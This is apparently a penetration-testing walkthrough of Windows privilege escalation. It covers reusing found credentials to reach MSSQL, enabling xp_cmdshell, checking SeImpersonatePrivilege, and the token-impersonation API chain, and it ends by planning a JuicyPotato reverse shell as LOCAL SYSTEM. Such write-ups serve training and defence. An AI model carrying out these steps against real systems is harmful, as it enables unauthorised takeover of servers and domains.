It does not work on WS2019 and W10 build 1809 onwards
Let’s suppose we gain access privileged access to a domain-joined machine and we find out a creds.txt file located on the Administrator’s desktop folder
It contains credentials of a domain user account which has privileges over a MSSQL instance of domain-joined MSSQL server
Connecting to the MSSQL Instance
Therefore, we can leverage this credentials to establish a connection to the MSSQL instance as the given principal
Gaining Code Execution through the XP_CMDSHELL Procedure
Since the given domain user account has a sysadmin role within the MSSQL instance, we can enable the XP_CMDSHELL stored procedure to be able to run system commands as the given domain or local service account
Enabling XP_CMDSHELL
SQL> enable_xp_cmdshell
Running System Commands
SQL> xp_cmdshell <COMMAND>
Verifying Sensitive Privileges
Retrieving the Service Account Name
First, we can run the following command to retrieve the name of the service account running the MSSQL instance
SQL> xp_cmdshell whoami
Command Output
nt service\mssql$sqlexpress01
And we are able to run commands as a LOCAL SERVICE account
Verifying the Service Account Privileges
Most of the LOCAL SERVICE accounts typically have sensitive privileges such as seImpersonatePriviliege enabled
If so, we can leverage the latter to coerce a process running as LOCAL SYSTEM to authenticate itself to an IPC endpoint that we have set up previously
This way we will have an specific thread running under the security context of the LOCAL SYSTEM account through client impersonation carried out by us by leveraging the seImpersonatePrivilege of the LOCAL SERVICE account
From here, we call the following API Functions →
OpenThreadToken → Get a handler pointing to the Thread’s Impersonation Token
CreateProcessWithTokenW or CreateProcessAsUser → Create a new process associated with the New Primary Token and thus running under the security context of LOCAL SYSTEM
So, in order to carry out the workflow in question, we must have the seImpersonatePrivilege enabled, we can verify this as follows
SQL> xp_cmdshell whoami /priv
Command Output
PRIVILEGES INFORMATION----------------------Privilege Name Description State============================= ========================================= ========SeAssignPrimaryTokenPrivilege Replace a process level token DisabledSeIncreaseQuotaPrivilege Adjust memory quotas for a process DisabledSeChangeNotifyPrivilege Bypass traverse checking EnabledSeManageVolumePrivilege Perform volume maintenance tasks EnabledSeImpersonatePrivilege Impersonate a client after authentication EnabledSeCreateGlobalPrivilege Create global objects EnabledSeIncreaseWorkingSetPrivilege Increase a process working set Disabled
And it is!
Therefore, we can upload a JuicyPotato binary to the target in order to send a Reverse Shell as LOCAL SYSTEM to our attacker machine